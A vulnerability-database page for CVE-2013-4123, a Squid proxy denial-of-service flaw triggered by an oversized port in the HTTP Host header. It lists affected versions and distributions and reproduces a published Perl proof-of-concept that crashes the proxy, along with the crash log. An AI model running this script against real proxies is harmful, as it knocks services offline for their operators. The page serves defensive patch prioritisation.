CVE-2013-4123

medium
Published 2013-09-16 ยท Modified 2026-04-29
CVSS v3
โ€”
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
6.0

Description

client_side_request.cc in Squid 3.2.x before 3.2.13 and 3.3.x before 3.3.8 allows remote attackers to cause a denial of service via a crafted port number in a HTTP Host header.

Predictions

Exploit likelihood
20%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-26886 dos linux verified text ยท 2 KB
kingcope ยท 2013-07-16

Squid 3.3.5 - Denial of Service (PoC)

text exploit Source: Exploit-DB
#Squid Crash PoC
#Copyright (C) Kingcope 2013
#tested against squid-3.3.5
#this seems to be the patch for the vulnerability:
#http://www.squid-cache.org/Versions/v3/3.3/squid-3.3.8.patch
#The squid-cache service will respawn, looks like a kind of assert exception:
#2013/07/15 20:48:36 kid1| Closing HTTP port 0.0.0.0:3128
#2013/07/15 20:48:36 kid1| storeDirWriteCleanLogs: Starting...
#2013/07/15 20:48:36 kid1|   Finished.  Wrote 0 entries.
#2013/07/15 20:48:36 kid1|   Took 0.00 seconds (  0.00 entries/sec).
#FATAL: Bungled (null) line 9: snmp_access deny all
#Squid Cache (Version 3.2.11): Terminated abnormally.
#CPU Usage: 0.020 seconds = 0.012 user + 0.008 sys
#Maximum Resident Size: 33312 KB
#Page faults with physical i/o: 0
#Memory usage for squid via mallinfo():
#        total space in arena:    4100 KB
#        Ordinary blocks:         4046 KB      7 blks
#        Small blocks:               0 KB      0 blks
#        Holding blocks:           564 KB      2 blks
#        Free Small blocks:          0 KB
#        Free Ordinary blocks:      53 KB
#        Total in use:            4610 KB 112%
#        Total free:                53 KB 1%
#2013/07/15 20:48:39 kid1| Starting Squid Cache version 3.2.11 for
i686-pc-linux-gnu...
#2013/07/15 20:48:39 kid1| Process ID 2990

use IO::Socket;

my $sock = IO::Socket::INET->new(PeerAddr => '192.168.27.146',
                              PeerPort => '3128',
                              Proto    => 'tcp');
$a = "yc" x 2000;
print $sock "HEAD http://yahoo.com/ HTTP/1.1\r\nHost: yahoo.com:$a\r\n\r\n";
while(<$sock>) {
print;
}

OS impact

suse SUSE Affected 1 release
VersionStatusFixed in
12.3 Affected โ€”
debian Debian Fixed 5 releases
VersionStatusFixed in
trixie Fixed 0
sid Fixed 0
forky Fixed 0
bullseye Fixed 0
bookworm Fixed 0

Application impact

VendorProductVersionsFixed
squid-cachesquid3.3.0
squid-cachesquid3.3.0.2
squid-cachesquid3.3.0.3
squid-cachesquid3.3.1
squid-cachesquid3.3.2
squid-cachesquid3.3.3
squid-cachesquid3.3.4
squid-cachesquid3.3.5
squid-cachesquid3.3.6
squid-cachesquid3.3.7
squid-cachesquid3.2.0.1
squid-cachesquid3.2.0.2
squid-cachesquid3.2.0.3
squid-cachesquid3.2.0.4
squid-cachesquid3.2.0.5
squid-cachesquid3.2.0.6
squid-cachesquid3.2.0.7
squid-cachesquid3.2.0.8
squid-cachesquid3.2.0.9
squid-cachesquid3.2.0.10
squid-cachesquid3.2.0.11
squid-cachesquid3.2.0.12
squid-cachesquid3.2.0.13
squid-cachesquid3.2.0.14
squid-cachesquid3.2.0.15
squid-cachesquid3.2.0.16
squid-cachesquid3.2.0.17
squid-cachesquid3.2.0.18
squid-cachesquid3.2.0.19
squid-cachesquid3.2.1
squid-cachesquid3.2.2
squid-cachesquid3.2.3
squid-cachesquid3.2.4
squid-cachesquid3.2.5
squid-cachesquid3.2.6
squid-cachesquid3.2.7
squid-cachesquid3.2.8
squid-cachesquid3.2.9
squid-cachesquid3.2.10
squid-cachesquid3.2.11
squid-cachesquid3.2.12

References

CWEs

CWE-20

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.